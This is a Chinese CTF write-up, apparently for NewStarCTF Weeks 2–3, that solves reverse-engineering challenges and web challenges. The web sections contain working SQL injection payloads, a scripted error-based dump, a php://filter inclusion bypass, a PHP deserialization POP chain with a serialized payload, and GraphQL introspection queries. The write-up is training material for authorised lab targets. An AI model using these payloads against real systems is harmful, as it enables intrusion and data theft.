Week 2

Re

前可见古人,后得见来者

chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43,
0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x50, 0x43, 0x53, 0x7D, 0x47,
0x50, 0x7D, 0x4C, 0x43, 0x53, 0x7D, 0x4E, 0x40, 0x4A, 0x5F, ] flag = ''
for i in range(len(chipher)):
temp = chr(chipher[i] ^ 0x22) if temp.islower():
flag += chr((ord(temp) - 97 - 13 + 26) % 26 + 97)
elif temp.isupper():
flag += chr((ord(temp) - 65 - 13 + 26) % 26 + 65)
else:
flag += temp print(flag)

flag{begin_and_end_re_and_you}

/*********TlsCallback_0_0/

TLS回调函数以及反调试简单使用 - 2f28 - 博客园 (cnblogs.com)

这里的线程回调函数,将偏移值3 变成了 iv+=10,即变成了13

(171条消息) TLS callback_xkdlzy的博客-CSDN博客

FindME

# 小端序 存储
__int64 sub_19B6()
{
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 31; i += 4 )
{
for ( j = 0; j <= 3; ++j )
*((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j);
}
return sub_19A1();
} #xor
__int64 sub_192E()
{
int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 7; ++i )
*((_DWORD *)s + i) ^= 0x2022u;
return sub_1919();
} # 移位
__int64 sub_151D()
{
int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 7; ++i )
*((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17;
return sub_1508();
} # 密文
__int64 sub_1253()
{
int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 7; ++i )
{
if ( *((_DWORD *)s + i) != dword_5020[i] )
{
dword_5040 = 0;
return sub_123E();
}
}
return sub_123E();
}

解密py

chipher = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]

for i in range(8):
temp=(chipher[i]&0xffff8000|(chipher[i]&0x00007fff^chipher[i]>>17)) # 直接逆
temp^=0x2022
for k in range(4):
print(chr(temp>>(k*8)&0xff),end='')

flag{D0nt_let_time_bo_so_cheap!}

Petals

去除花之恋

去花后的核心加密函数

unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
int i; // [rsp+18h] [rbp-118h]
unsigned int j; // [rsp+1Ch] [rbp-114h]
__int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h] v6 = __readfsqword(0x28u);
memset(v5, 0, 256);
for ( i = 0; i <= 255; ++i )
*((_BYTE *)v5 + i) = ~(i ^ a2);
for ( j = 0; a2 > j; ++j )
*(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
return v6 - __readfsqword(0x28u);
}
import hashlib

v5 = [0] * 256

chipher = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
0xD2, 0x82, 0xD3, 0xDE, 0x87] for i in range(256):
v5[i] = (~(i ^ 25))&0xff
# print(sorted(v5))
for i in range(len(chipher)):
print(chr(v5.index((chipher[i])%256)),end='')
print()
print(hashlib.md5('66ccff#luotianyi#b074d58a'.encode()).hexdigest())

66ccff#luotianyi#b074d58a 提交后错误!!!

就很奇怪,然后查了一下 洛天依 66ccff 等的含义(无语子)

然后才发现,要MD5后提交!!!

printf("If you are succeed, the flag is flag{md5(your input)}");

笑死!!!!!【没看到,还想着misc的思路去想,,,】

flag{d780c9b2d2aa9d40010a753bc15770de}

Likemyasp

查到 Asp 壳,题目也有提示

找了几个工具都无法脱壳,只能尝试X64debug 脱壳,OD只能调试手动脱壳32 位

[X64debug 不太熟,直接硬逆,不手动脱壳]【下面程序,ida动调+断点跟进获得】

sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[16]);
sub_7FF7D92D1140((__int64)&_guard_xfg_table_dispatch_icall_fptr[18], v10, 30i64);// scanf
for ( i = 0; i < 24; i += 4 )
{
v6 = (v10[i] ^ 0xAi64) << 37;
v5 = (v10[i + 1] ^ 0x14i64) << 23;
v7 = (v10[i + 2] ^ 0x1Ei64) << 14;
v3 = ~v10[i + 3];
v8 = v3 | v7 | v5 | v6;
v9[i / 4] = v8;
}
for ( j = 0; j < 6; ++j )
{
if ( v9[j] != qword_7FF7D92D4010[j + 5] ) // 密文比较
{
sub_7FF7D92D1070(&_guard_xfg_table_dispatch_icall_fptr[19]);
return sub_7FF7D92D1350((unsigned __int64)&v1 ^ v11);
}
}
chipher = [0xD803C1FC098, 0xE20360BC097, 0xFE02A1C00A0, 0xFA0121040CB, 0xF2032104092, 0xD6015884082]

flag = ''
for i in range(len(chipher)):
flag += chr(chipher[i] >> 37 & 0xff ^ 0xa)
flag += chr(chipher[i] >> 23 & 0xff ^ 0x14)
flag += chr(chipher[i] >> 14 & 0xff ^ 0x1e)
flag += chr(~(chipher[i])& 0xff)
print(flag)

flag{x1hu@n_w0_4sp_ma??}

ur_so_naive

0x01 程序分析

导出 libencry.so 分析加密流程

分析知道,获得四位密钥,即可解密程序

v7 = 0;
v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a3, 0);
v9 = (unsigned __int8 *)(*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)a1 + 676))(a1, a5, 0);// v9 应该是密钥
v10 = (*(int (__fastcall **)(int, int))(*(_DWORD *)a1 + 704))(a1, a4);
if ( a4 )
{
do
{
v11 = (_BYTE *)v8;
v12 = (*(unsigned __int8 *)(v8 + v7) >> 1) | (*(unsigned __int8 *)(v8 + v7) << 7);// 分别移位 1|7 2|6 3|5 4|4
*(_BYTE *)(v8 + v7) = v12;
v13 = ((unsigned __int8)(v12 ^ *v9) >> 2) | ((v12 ^ *v9) << 6);
*(_BYTE *)(v8 + v7) = v13;
v14 = ((unsigned __int8)(v13 ^ v9[1]) >> 3) | (32 * (v13 ^ v9[1]));
*(_BYTE *)(v8 + v7) = v14;
v15 = ((unsigned __int8)(v14 ^ v9[2]) >> 4) | (16 * (v14 ^ v9[2]));
*(_BYTE *)(v8 + v7) = v15;
v16 = v15 ^ v9[3];
v17 = v7 + 1;
if ( v7 - a4 != -1 )
v11 = (_BYTE *)(v8 + v17);
*(_BYTE *)(v8 + v7) = v16;
*(_BYTE *)(v8 + v7++) = v16 ^ *v11;
}
while ( v17 != a4 );
}
(*(void (__fastcall **)(int, int, _DWORD, int, int))(*(_DWORD *)a1 + 832))(a1, v10, 0, a4, v8);
return v10;
}

解密py

# 爆破
import hashlib
import itertools chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa] # key=[0x7f080058,0x7f08009d,0x7f080180] # 猜测密钥 # 爆破密钥
modle = list(itertools.product(
['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'], repeat=4)) # key = [0x80, 0x01, 0x08, 0x7f]
flag = ''
j=-1
while True:
j+=1
str = ''.join(modle[j])
key=[ord(str[w]) for w in range(len(str))]
for i in range(len(chipher) - 1, -1, -1):
for k in range(30, 128):
temp = (k >> 1) | (k << 7)
temp = (temp ^ key[0] >> 2) | (temp ^ key[0] << 6)
temp = (temp ^ key[1] >> 3) | (temp ^ key[1] << 5)
temp = (temp ^ key[2] >> 4) | (temp ^ key[2] << 4)
temp = temp ^ key[3] if i == len(chipher)-1:
temp1=k
else:
temp1=chipher[i-1] if chipher[i]==temp1^temp:
flag+=chr(k)
break
if len(flag) ==len(chipher):
break print('key:', str)
flag='' print(flag) # 显然,复杂度太高,放弃爆破。
0x02 动态调试 .so 文件

名称 地址

Java_com_new_1star_1ctf_u_1naive_MainActivity_encry LOAD:Java_com_new_1star_1ctf_u_1naive_MainActivity_encry

ida 动态调试时,出现

[求助]ida出现FFFFFFFF: got SIGILL signal (Illegal instruction) - 『移动安全讨论求助区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

(171条消息) 171025 逆向-安卓脱壳(补充实验)_奈沙夜影的博客-CSDN博客

模拟器为x86架构,而导出的.so程序是ARM架构的原因,只能附加真机,也就是手机和ida 配合起来远程调试

[(171条消息) mobile]真机+IDA调试apk中的so_breezeO_o的博客-CSDN博客

【但是这里比较麻烦,真机调试的话,手机需要root权限等好多限制】

再回到jeb,找到导出.so 文件的位置。有新发现,之前导出的是arm的,无法配合模拟器断点调试.so文件【第一次导出的时候没注意】

那么重新导出X86架构的.so文件,就可以动态调试了,嗨,好多小时才搞定这个,直接麻了,但终于搞定了,舒爽。【这里是结合夜游安卓模拟器+ida附加调试】

动态调试获得 密钥 FALL,获得flag。

附上夜游安卓模拟器+ida附加调试方法:

【nox_adb.exe 时模拟器自带的,可以直接相应目录下使用,也可设置到环境变量中(具体不在赘述)】

【adb【Android 调试桥】介绍Android 调试桥 (adb) | Android 开发者 | Android Developers (google.cn)

nox_adb devices  # 查看端口
nox_adb.exe connect 127.0.0.1:62001
adb push F:\CTF_\ctf_tool\Re_tool\ida_pro\IDA_7.7_chinese\dbgsrv\android_x86_server /data/local/tmp (IDA的dbgsrv目录下有很多版本,根据要动态调试的.so文件架构类 型,上传,如这里的是android_x86_server,可以成功运行)
【/data/local/tmp/android_server(这个目录其实可以随便放,可以绕过有的程序的反调试,】 adb shell
cd /data/local/tmp
chmod 777 android_x86_server
./android_x86_server
再开一个cmd, 设置端口转发 【将PC端的23946端口收到的数据,转发给到手机(模拟器)中23946端口。】
adb forward tcp:23946 tcp:23946

如此就可愉快的使用 ida 开始 附加调试了!

0x03 解密py

下图,是动态调试后发现的一个小细节。静态分析时,我没有注意到!

最后一次处理时,data xor enc[0]

#encoding=utf-8
import hashlib chipher = [0xdc, ord('S'), 0x16, 0x8b, 0x99, 0xf2, 0x08, 0x13, 0xd1, ord('/'), 0x92, ord('G'), 0x02, 0xeb, 0xcc, 0xdc,
0x18, 0x87, ord('W'), 0x8e, 0x87, 0x1b, 0x8f, 0xaa] key =[0x46,0x41,0x4c,0x4c] # FALL
flag = [0]*24
for i in range(len(chipher) - 1, -1, -1):
for k in range(30, 128):
temp = ((k >> 1) | (k << 7))&0xff
temp = (((temp ^ key[0]) >> 2) | ((temp ^ key[0]) << 6))&0xff
temp = (((temp ^ key[1]) >> 3) | ((temp ^ key[1]) << 5))&0xff
temp = (((temp ^ key[2]) >> 4) | ((temp ^ key[2]) << 4))&0xff
temp = temp ^ key[3] if i == len(chipher) - 1:
temp1 = chipher[0]
else:
temp1 = flag[i+1] # 因为最后一位,xor 第零位,其他处理 xor 后一位,那么以最后一位为突破口,求出flag if chipher[i] == temp1 ^ temp:
flag [i]= k
break
# print('第', i, '位 :', k)
print(flag)
for i in range(len(flag)):
print(chr(flag[i]),end='')

flag{n@1ve_luv_2you#ouo}

Web

Word-For-You(2 Gen)

hint:

哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了
0x01 程序注入分析

xss :

</h><script>alter();</script><h>  # 直接过滤了

sql 注入

    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1    

    # haha' or 1=1 #
好耶!查询成功
# haha' order by 5 # 猜测出 2 列
Unknown column '5' in 'order clause'
# haha' union select 1,2 #
The used SELECT statements have a different number of columns

显然可以通过报错注入,得到flag

# all db
haha' and extractvalue(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata limit 0,1),30,30),0x7e))#
XPATH syntax error: '~information_schema,mysql,performance_schema,wfy'
数据库很长 # 数据库 wfy
haha' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# XPATH syntax error: '~wfy~' # 表名 wfy_admin,wfy_comments,wfy_info
haha' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wfy'),0x7e))#
XPATH syntax error: '~wfy_admin,wfy_comments,wfy_info' # 列名 wfy_admin:Id,username,password,cookie
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_admin' limit 0,1),0x7e))#
XPATH syntax error: '~Id,username,password,cookie~' # wfy_comments:id,text,user,name,display
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_comments' limit 0,1),0x7e))#
XPATH syntax error: '~id,text,user,name,display~' #
haha' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wfy' and table_name='wfy_info' limit 0,1),0x7e))#
# 空 # 数据
haha' and extractvalue(1,concat(0x7e,(select * from (select user from wfy_comments limit 0,1) as a),0x7e))# haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#
0x02 解密py

现在,已经知道数据库名,表名,列名。但是由于每次只能获得一条数据,且报错输出长度有限制。那么现在尝试,逐条报错注入获取flag.

import requests
import re url = 'http://3527aa75-03ba-4f2d-9fef-aff78f745f6d.node4.buuoj.cn:81/comments.php'
result = ''
data = {
"name": "haha' and extractvalue(1,concat(0x7e,(select * from (select display from wfy_comments limit 0,1) as a),0x7e))#"
} headers = {
"Cookie": "PHPSESSID=a3b7e533a45e3b9087113b3b8fb6ad81"
}
# response = requests.get(url=url, params=data,headers=headers)
# print(response.text) for i in range(200):
data['name'] = "haha' and extractvalue(1,concat(0x7e,(select * from (select text from wfy_comments limit {0},1) as a),0x7e))#".format(i) response = requests.get(url=url, params=data, headers=headers) match = re.findall(r'error\: \'~(.*?)~\'', response.text) # flag{Ju4t_m2ke_some_err0rs}
print(match)

wtf wfy_comments text 成功得到 flag

flag{Ju4t_m2ke_some_err0rs}

IncludeOne

hint:

文件包含漏洞系列第一题,也不知道是不是真的随机? 出题人丢给你了一个工具:https://www.openwall.com/php_mt_seed/
0x01 程序分析
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!

(171条消息) CTF_Web:php伪随机数mt_rand()函数+php_mt_seed工具使用_星辰照耀你我的博客-CSDN博客_php rand 伪随机

在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点。

那么我们可以通过,种子生成的随机数来爆破,种子。那么就可以得到我们想要的序列。

(172条消息) php_mt_seed - PHP mt_rand() 随机数种子破解使用_like4h的博客-CSDN博客_php_mt_seed 安装

借助题目给的工具。

└─# time ./php_mt_seed  1219893521
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3988.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x0011793a = 1145146 (PHP 7.1.0+)
Found 1, trying 0x16000000 - 0x17ffffff, speed 40.7 Mseeds/s
seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x64000000 - 0x65ffffff, speed 52.3 Mseeds/s
seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)
Found 4, trying 0xc4000000 - 0xc5ffffff, speed 52.5 Mseeds/s
seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)
seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 53.3 Mseeds/s
Found 8
0x02 爆破种子

不知道,题目所用php版本,就都尝试一下PHP Sandbox - Execute PHP code online through your browser (onlinephp.io)

<?php
mt_srand(1145146);
echo mt_rand()."\n";
echo mt_rand(); //1219893521 1145146
//1202031004 # 正确
POST / HTTP/1.1
Host: 073b1ab1-50eb-4bfa-95de-17a27cfc39be.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close guess=1202031004

guess=1202031004

0x03 绕过正则
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
# 过滤 base 或 .. (| 或 \.\. 转义. 防止目录穿越)
编码绕过
. => %2e
/ => %2f
% => %25 (双重URL编码) http://6d0e7775-ad5d-413a-8a66-37fbb2ef74d4.node4.buuoj.cn:81/flag.php # 可以访问,但没显示。显然flag.php在当前目录

显然是filter伪协议读取,但怎么绕过

读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换

(172条消息) 伪协议filter_php://filter在一次CTF中base被过滤的利用_小明斗的博客-CSDN博客

改为

php://filter/read=string.toupper|string.rot13/resource=NewStar/../../../../../flag.php

===> %252e%252e # 双重编码【获取失败】

如下,NewStar位置应该置于filter后,不影响语句功能,然后保证file中出现NewStar。

php://filter/NewStar/string.rot13/resource=flag.php

得到 rot13

<!--?cuc //synt{66qqr83p-o1qo-4338-nq7r-32r9o986632q}
-->

rot13 解码得到flag

flag{66dde83c-b1db-4338-ad7e-32e9b986632d}

UnserializeOne

0x01 pop 链分析

PHP反序列化研究 - 知乎 (zhihu.com)

(172条消息) CTF之萌新反序列化学习_bmth666的博客-CSDN博客_ctf 反序列化

参考后,构建pop 链

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func; public function __destruct() //2. 将name设置为Sec类,触发__toString()
{
echo "Welcome to NewStarCTF, ".$this->name;
} public function __isset($var) //6.将类名当作函数使用,触发__invoke(),得到flag
{
($this->func)();
}
} class Sec{
private $obj;
private $var; public function __toString() //3.调用一个不可访问方法时调用$this->obj->check,__call 会被调用。同时这里的 $this->var 构建pop链时有用到。
{
$this->obj->check($this->var);
return "CTFers";
} public function __invoke()
{
echo file_get_contents('/flag');
}
} class Easy{
public $cla; public function __call($fun, $var) //4.使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 __clone()
{
$this->cla = clone $var[0];
}
} class eeee{
public $obj; public function __clone() //5.对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
{
if(isset($this->obj->cmd)){
echo "success";
}
}
} if(isset($_POST['pop'])){
unserialize($_POST['pop']); // 1. 反序列化,触发__destruct()析构函数
}

如上所示pop 链分析清楚了。

0x02 构造反序列化数据
<?php

class Start{
public $name;//='Sec';
protected $func;//='Sec'; function __construct(){
$this->name=new Sec();
$this->func=new Sec();
} class Sec{
private $obj; //='Easy';
public $var; function __construct(){
// $this->var=new eeee(); $var 有传递作用,要直接赋值,将属性改为public
$this->obj=new Easy();
}
} class Easy{
public $cla;//='eeee';
} class eeee{
public $obj;//='Start';
} $Sta=new Start();
$ee=new eeee(); $ee->obj=$Sta;
$Se=new Sec();
$Se->var=$ee; $Sta->name=$Se; echo urlencode(serialize($ee)); O%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3Br%3A1%3B%7Ds%3A7%3A%22%00%2A%00func%22%3BO%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%00obj%22%3BO%3A4%3A%22Easy%22%3A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A3%3A%22var%22%3BN%3B%7D%7D%7D

最终得到flag:

flag{87fbd8ce-bc28-463c-9588-b207042b878e} Welcome to NewStarCTF, CTFers

ezAPI

0x01 题目分析

查阅 DEBUG: object(stdClass)#1 (1) { ["users_user_by_pk"]=> NULL }

php中stdClass的用法详解-php教程-PHP中文网

相关信息没什么进展,然后尝试目录扫描,看有无收获。

在使用 WebPathBurp 扫描目录【用自带的字典来跑】时发现 WWW.zip 备份文件。获得源码!

<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") { //只能输入数字
return False;
} else {
return True;
}
} function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
} if (isset($id)) {
if (waf($id)) { // $data 是可控的
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
$data = {"query":"query{\nusers_user_by_pk(id:flag) {\nname\n}\n}\n", "variables":null}

POST 方式提交的data数据是可控的!

发送到 $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);

// graphql

0x02 graphql 数据查询

GraphQL-接口查询利器 - 知乎 (zhihu.com)

当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)

(172条消息) 渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入

id=3&data = {"query":"query{\nusers_user_by_pk(id:3) {\nname\n}\n}\n", "variables":admin}

id =3 对应 admin

data={"query":"query{\nusers_user_by_pk(id:3) {\nname,\n}\n}\n", "variables":null}&id=4

id =4 对应 admin 显然参数可控了。那么就是查询数据库的内容了
# 查看存在的class
data={"query":"{ __schema {types {name}}}"}&id=4
# 最终发现大佬博客中,存下如下payload,可以得到Graphql 所有字段

data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}&id=4

//data={"query":"{  __schema {types {name}}}"}&id=4

查询到所有信息【该API端点的所有信息】

存于 info_Graphsql_.txt, 内容太多,这里就不贴上了

得到关键类信息,但怎么利用查询呢!

// flag 位于 ffffllllaaagggg_1n_h3r3.flag 表 

      [13]=>
object(stdClass)#181 (8) {
["kind"]=>
string(6) "OBJECT"
["name"]=>
string(28) "ffffllllaaagggg_1n_h3r3_flag"
["description"]=>
string(59) "columns and relationships of "ffffllllaaagggg_1n_h3r3.flag""
["fields"]=>
array(1) {
[0]=>
object(stdClass)#182 (6) {
["name"]=>
string(4) "flag"
["description"]=>
NULL
["args"]=>
array(0) {
}
["type"]=>
object(stdClass)#183 (3) {
["kind"]=>
string(8) "NON_NULL"
["name"]=>
NULL
["ofType"]=>
object(stdClass)#184 (3) {
["kind"]=>
string(6) "SCALAR"
["name"]=>
string(6) "String"
["ofType"]=>
NULL
}
}
["isDeprecated"]=>
bool(false)
["deprecationReason"]=>
NULL
}
}
["inputFields"]=>
NULL
["interfaces"]=>
array(0) {
}
["enumValues"]=>
NULL
["possibleTypes"]=>
NULL
} # 如上 flag 就位于 ffffllllaaagggg_1n_h3r3_flag 中

结合题目泄露的源码的查询方式,进行Graphsql 查询!

data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=4

得到flag

DEBUG: object(stdClass)#2 (1) {
["ffffllllaaagggg_1n_h3r3_flag"]=>
array(1) {
[0]=>
object(stdClass)#1 (1) {
["flag"]=>
string(42) "flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}"
}
}
}

flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}

Week 3

Re

Zzzzzz3333

直接 z3 求解key,即可得到flag

import base64
from z3 import * Arglist=[]
for i in range(8):
Arglist.append(Int(str(i))) s = Solver() v13 = Arglist[5]
v11 = Arglist[4]
v9 = Arglist[1]
v12 = Arglist[3]
v8 = Arglist[7]
v10 = Arglist[0] s.add(Arglist[3]
+ 4 * Arglist[2]
+ Arglist[7]
+ 4 * (Arglist[3] + 4 * Arglist[2])
+ 3 * (Arglist[4] + 4 * Arglist[0])
+ 2 * (Arglist[5] + 4 * Arglist[6])
+ 11 * Arglist[1] == 6426) s.add(11 * (v10 + v8 + v12) + 4 * (v13 + 2 * v11) + Arglist[2] + 45 * v9 + 7 * Arglist[6] == 9801)
s.add(5 * v9
+ 2 * (v11 + Arglist[6] + v13 + 2 * (v8 + v12) + Arglist[2] + 2 * (Arglist[6] + v13 + 2 * (v8 + v12)) + 8 * v10) == 6021)
s.add(19 * v10 + 9 * v9 + 67 * v8 + 5 * (Arglist[2] + Arglist[6]) + 7 * (v13 + 4 * v12) + 4 * v11 == 14444)
s.add(22 * v13 + 5 * (v11 + 2 * (v12 + v9 + 2 * v10)) + 4 * (v8 + Arglist[6]) + 6 * Arglist[2] == 7251)
s.add(19 * v12
+ 3 * (v8 + Arglist[2] + 4 * v8 + Arglist[6] + 2 * (v8 + Arglist[2] + 4 * v8))
+ 4 * (v10 + v13 + v9 + 2 * (v10 + v13)) == 10054)
s.add(7 * v10 + 17 * (v12 + v9*2) + 11 * (v11 + 2 * v13) + 2 * (Arglist[2] + Arglist[6] + 4 * Arglist[2] + 6 * v8) == 10735)
s.add(Arglist[6] + v11 + 11 * Arglist[2] + 15 * (v12 + 2 * v8) + v9*2 + 43 * v10 + 21 * v13 == 11646) print (s.check())
m = s.model()
print (m) flag_ = ""
for i in Arglist:
flag_ += chr(int(str(m[i]))) print(flag_) # key= fallw1nd

key= fallw1nd

flag{Zzzz333_Is_Cool!!!}

The Slider's Labyrinth

The Slider's Labyrinth
滑块的迷宫

简单nop E8 去除花指令

main函数

分析知道 maze 16行 ,如下: * 起点 0 终点

maze: [注意,这里每选择一个方向,走到不能走【while() 那完成这项处理】]

################
#* # #
# #
# # #
## #
# # ##
# # #
# #
# # # O#
################ dsasdwds
print(hashlib.md5('dsasdwds'.encode()).hexdigest())

# dsasdwds

flag{f71516bdf07abd7bc0668db9d6352364}

EzTea

key===>{0x19,0x19,0x8,0x10}

这里分析可以知道是XXTEA加密,网上很多脚本,简单修改delta, 加密的移位处理即可得到flag。

例如下面:

#include <cstdint>
#include <cstdio>
#define DELTA 0x11451400
#define MX (((z ^ (key[(e ^ p) & 3])) + (y ^ sum)) ^ (((32 * z) ^ (y >> 3)) + ((4 * y) ^ (z >> 4)))) uint8_t ida_chars[] =
{
